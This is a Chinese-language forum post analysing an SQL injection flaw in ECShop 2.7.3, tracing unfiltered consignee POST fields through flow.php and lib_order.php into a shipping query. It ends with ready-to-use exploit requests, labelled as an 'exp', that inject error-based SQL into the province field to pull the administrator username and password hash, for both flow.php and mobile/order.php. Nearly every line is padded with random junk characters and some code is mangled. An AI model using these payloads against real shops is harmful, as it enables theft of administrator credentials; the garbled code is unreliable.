前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。1 `, a. ]9 K' Q$ @* H
* l* y* p- D9 c& ]- O) y2 a 漏洞关键文件:
' g" q( I4 n3 c' S& ?# T
* D- {- D/ a4 f2 b$ r* c /includes/lib_order.php( j8 r" U0 |0 M9 s
R, `& `9 A! Z; y1 z! @ 关键函数:7 p( O5 w7 v. R: `7 B
) D1 {( u3 w g5 A5 R4 W2 t 7 o( z, Y; \6 D4 p% E
$ t; l/ ?0 L, s' i
01 function available_shipping_list($region_id_list) ( \ k& o; F+ X
" r0 E) o' W& C$ n( C
02 {
! C1 A& r; m |$ i, U6 w3 [7 y6 Z3 T: [, p5 Q% T$ d
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
! l/ P/ i" Z0 t- A) y# u* L7 n$ a3 x; ]
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
& _' \7 S* p: o `& y
/ w8 G0 g B" F05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
$ Z# X# ~' ~3 ]9 o' N! p- ]2 R% I- W8 ?' L4 F# v* `
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . & |, C1 K: F1 c% F8 ]
7 \2 q) g2 [* H07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
; g9 t$ b% e8 Z. b; q' F) v; ~7 R0 i, b; ], J$ K* s
08 'WHERE r.region_id ' . db_create_in($region_id_list) .
5 L7 T' F$ F3 Q5 X. v( [; N. l$ w9 r; Z- P7 E# {" W
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; / }+ ~" v& r, t, u. L E1 T7 N
; A& G9 }6 U6 _
10
# j; `9 P! G; `% X3 q& d+ H& [4 L* e9 c3 P2 N
11 return $GLOBALS['db']->getAll($sql);
; B1 O% a, H5 w, i" g& X! t. U1 U9 j/ a0 J" X5 J
12 }
% Q2 Y) a6 \# `+ R% i/ s" k& s
& `6 }5 C7 Z/ r/ J! `: a显然对传入的参数没有任何过滤就带入了查询语句。
6 f, n: z& T9 B H* R! ^* |
1 ?. R( q. {; I3 D4 H. I% f, i下面我们追踪这个函数在flow.php中:
4 Z8 c# u6 `5 [9 M( s( A3 ~ 第531行: 7 S& u8 o+ C" R, h; Q7 z8 c {
9 R: c* @8 h) }1 $shipping_list = available_shipping_list($region);
. {2 [& [0 S. f$ c- |: _' {; b- X5 R, h% f. V( \* u3 W
$ s' y6 G/ z& Q$ d
1 q+ c% y7 y& R2 a
; v+ b" i; V- Q! A8 H$ J
3 I( J' m: |4 O9 |' I再对传入变量进行追踪:
8 S+ G( e$ @' n4 u) k3 N8 B5 q. a# h8 M/ t+ }- _5 v9 }' q _
第530行:
& }- Y9 z0 M: ~* P$ \
9 t( _3 i6 x% ?- T4 }8 M1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
! t8 A# J$ h7 v3 L& q5 a
# A* P) f' {( ~% b- B! c, e& L3 j+ y # l6 t3 F) [ q7 ]0 o2 r9 s" v' f
) y$ y0 P, A/ q+ e. ] Q / Y( P; B; W! H, _
7 g+ Q J- v# f
第473行: ( |) E! T. a2 X2 [5 G9 P/ M
* i! \# L! c: K0 ?
1 $consignee = get_consignee($_SESSION['user_id']); ; z0 z v. l7 E7 G8 D# m% d0 b
# F$ P! l7 K; _* b3 }! B
到了一个关键函数:, a0 W) G' e# E- S
& W* v* }' f! ]0 O1 }
/includes/lib_order.php
7 A1 n$ W4 l% ~, ~' p1 B
% G( {# k) U5 `7 Y b& R( T$ v: {9 q+ a7 n/ @; u
) {% Y5 a( d8 l . _6 t9 [0 ?8 M$ |. I& D z0 a( F3 v
# G# ]7 y# c4 P4 n! k' I
01 function get_consignee($user_id)
- N8 H/ s' m8 _6 I% S: T0 t F0 V
* q: y+ t3 z$ W# q L8 F( e02 { 7 y9 `& m8 @' q/ S1 V
& a- a0 B1 W ]# R: R; {03 if (isset($_SESSION['flow_consignee']))
2 y {/ A; y1 w7 S3 V8 E, o2 S2 G
; L3 X1 n* Q. b5 e/ [04 {
/ i8 {8 E$ w+ _3 h* N7 ~2 b9 h9 g: q- u) Z* b$ C, e6 B
05 /* 如果存在session,则直接返回session中的收货人信息 */
- d& [0 U# H, N3 N9 u- R0 Y/ d
) d% z1 ~! Z: b/ m$ R( V3 a0 b06
1 p2 C _0 O- | t- W
* o/ f# {+ r1 p4 M07 return $_SESSION['flow_consignee'];
; `6 v% ?: Z+ U1 c8 Q) c) d4 u7 A! p4 }( p- X
08 }
1 o4 F6 X7 S0 t& ] f1 V& n% W/ y, h* m4 z; B
09 else
! P& O; g. ` E. P2 w k9 z( \- @0 S8 |1 D
10 {
( u. S7 E, f0 r. A0 S$ @
" e; y/ U1 T _( E, Q/ t- T J11 /* 如果不存在,则取得用户的默认收货人信息 */ 3 A% N3 Z1 k' J' b( {
$ g1 K# w0 X, @# V6 w6 B" ?3 G
12 $arr = array(); $ x: w3 j+ Y: L$ @/ e7 t4 {, d
; s% ~3 v6 y( Z" Z7 ?8 C. |. H0 p7 n( p13 6 B: n8 i& j$ N
' T- B; f% _* X
14 if ($user_id > 0) * Y0 k. N% Y- ~4 y
1 {' Z8 Z% V [0 A# ^ ]0 ] E/ p" M8 W1 N15 { % O6 T' G, B) T9 S c2 M/ H. [% K
: `- n4 O, `) t- C- \, W16 /* 取默认地址 */ 8 o. @" q0 e. p7 _ M$ ~) ?
+ W, O) F- p! \) X
17 $sql = "SELECT ua.*". , d" E% d5 @* _
/ v) g- s5 y% e! v. O4 q5 o' D v18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
. w7 S b; ?# A- K
% e( O" F* w( \# u' u' _19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
: {! c* ^$ G0 A5 u( X6 g J2 J0 v2 Q5 t
20 7 E' u5 h P0 V
: P* Y! M( }+ |, H. d" S* g
21 $arr = $GLOBALS['db']->getRow($sql); + p# ^4 p( J% s6 J J& R* Z- x) j! F' \
], U: x) e& ]5 Z22 }
7 ~5 F/ S; @- g) K( x! J+ j& h3 @. G) n9 U( `. c
23 2 G$ K: y2 I. `. v8 u
6 M) w2 d% T5 v' L
24 return $arr; / B# w, X$ R9 e/ _$ A) P
' L( L4 k+ ^' D/ Z25 } 8 V! T2 |6 C) k2 B' n
* q% z4 [: `( {* p1 f9 r* P26 }
+ n0 w2 ^; w$ |. J5 t6 x3 W {2 `
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?# h8 q6 b7 l$ I @
H. ]: W4 d6 |4 ~0 ? 4 ], H$ I; t; O5 i6 _
* @* y1 n0 J) q# y5 n关键点:
0 Q) J9 L# x" n) Z5 Z' q! u2 N- g- f
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
! N" x% W- S, r3 x8 k/ W0 w% m/ B8 G; [# m
这里对传入参数反转义存入$_SESSION中。7 ~. G7 Z/ y( ?. Y. O! [, ? n
: d: O$ C' l9 z* B$ g1 ^- q
% s5 A/ J7 {$ E. J& F
/ J" t: ~% B9 R' a; f
然后看下:
$ z/ J3 |) W& A
% r/ V: \$ T2 O/ J- X , h* |& d8 W7 s* v" \, Z
" S. U) g/ Z6 H; A& e" p3 J2 v
5 m8 N3 D- j' f% ~3 R" v; n# C% k- o
5 h* D2 u9 u; ^+ G/ V3 e2 M
01 $consignee = array(
% E6 w4 [4 O" g! Q5 k! p
& u$ E M4 F; \$ E% ?; e02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
q3 R/ \$ R8 b0 O/ D0 c5 x9 A* S8 _' J1 I! o) ^
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
) {! P; x* M1 v9 k; _ N! N+ r9 x
% W) Z6 V4 c9 F% Q$ ]9 h04 'country' => empty($_POST['country']) ? '' _POST['country'], - K! m; l5 o; G: Q; k+ A1 g
5 \8 D& N; s8 m" W5 Y0 ]
05 'province' => empty($_POST['province']) ? '' _POST['province'], 8 K% p/ ]: w4 k! c
3 S; C# z8 _) ^% y& x/ [4 F, {* F
06 'city' => empty($_POST['city']) ? '' _POST['city'], 9 I" \: C- j% F/ p. I
$ o, ~8 l3 n3 s0 n/ w! |
07 'district' => empty($_POST['district']) ? '' _POST['district'], 9 i- Y/ j9 j0 G$ v3 p( ~! P0 }
4 {( L5 o7 ~' I8 Q j6 }. D08 'email' => empty($_POST['email']) ? '' _POST['email'], / p" u* H' i2 B2 { m5 E* E" F
2 b. @0 u+ Q1 K3 f( J/ {# n. d* R
09 'address' => empty($_POST['address']) ? '' _POST['address'],
6 l8 P: n% o, Z% ]+ e3 ~. c, A/ t, m5 z6 S. i: B
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), ( O. r. p* U/ V" B8 W9 @3 @: |' { g
; N3 E: Q' e+ P' e$ _+ U8 f
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
* Z8 R# c7 J* B' X, S
8 ]) \) x3 I) r: l4 [- Z5 E8 R12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), 2 J3 v! l: k3 X) F. |+ O" @: ]* s
4 x6 b% q: f" B7 e* D
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
w/ u/ S* S: g. ?. X2 `
$ I, ]2 U6 ~5 o& T3 T14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], 7 w/ V9 O# P y; X# v
; A o& r6 a6 `, h: q5 ^. u+ F& }
15 );
& G. L5 I/ o7 s; `" W7 x* G) h! _0 U" ^+ |! R, ~
好了注入就这样出现了。
3 O8 m) x! |& c: b, Z/ v8 k& l% F( I# B
==================) k( i/ M# }2 ~1 w( o- i" ^
; D* C3 [4 a* P% C" v
注入测试:
+ J1 d" r( i9 ~: D
# e. e2 N" a0 N a; h! ?( Y环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
) @0 z1 P: e3 H2 \
# c/ \: G7 C% I3 v9 u3 Q测试程序:ECShop_V2.7.3_UTF8_release1106
, d+ c! p- i+ A2 }# ~' P
3 ?- o0 [$ @4 z. y j & u$ y6 Q" e; q3 D: e' p3 U
V' w9 b1 C% a- x* y5 ?
1.首先需要点击一个商品加入购物车
1 f* a/ m% k* `3 D' S; ^. W& l. v1 p! @) `% h" q
2.注册一个会员帐号 D; n5 q) w% ]+ v
% d, Z3 z% X4 ]/ b% S& C* Q4 d" r
3.post提交数据
! j. v# J& j) @! \* ^
/ {& B; J7 C* Z9 T2 N u
4 W( z. b6 @9 P) \( {2 g8 P+ y5 H/ M" c4 n2 b4 M/ T, n' [( j
1 http://127.0.0.1/ecshop/flow.php
+ Q" T1 f* c1 T/ g2 B, t3 t* A* Z% B! |" ?7 Q
2 ; U+ g; t! H9 A1 e6 T0 g! I: h' @, b
: ?% {+ S+ X' d8 f+ |' L3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
% l# b, u' q+ G5 q+ [举一反三,我们根据这个漏洞我们可以继续深入挖掘:
9 t! |' G5 D, O% s" N8 V! _2 K9 L; \& |: r# H1 `3 z. `% M
我们搜寻关键函数function available_shipping_list()) J2 g7 r7 k( U" a# t. Y- v
8 Y3 P% x1 ^4 b0 ~
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
) I* y4 T* h! i \, `8 o/ b0 y
! W, p! Y( h! I利用exp:& X! M0 G+ s0 @. |3 X0 y
" z7 L9 ^3 ]% g( l" o3 D+ Z
1.点击一个商品,点击购买商标$ R5 o* D- @& d2 |3 G
8 V! K7 e6 Y$ S7 E6 a
2.登录会员帐号
7 ?! p( u0 x4 N# Z7 ~. c% t, |; [& N/ e7 V
3.post提交:' _( [8 E! u/ c, K9 \
6 P: O& ~1 C( H7 ?0 {# _http://127.0.0.1/ecshop/mobile/order.php2 P& B" T5 r; W5 [
2 `0 w5 p4 y- G) r+ E % h2 z( M+ b0 C: [& q" U
. R( @ Z1 f8 X# Q/ j% H5 b" ccountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
( j3 k4 Q0 u: p. |- }; a0 d! _8 M; a
|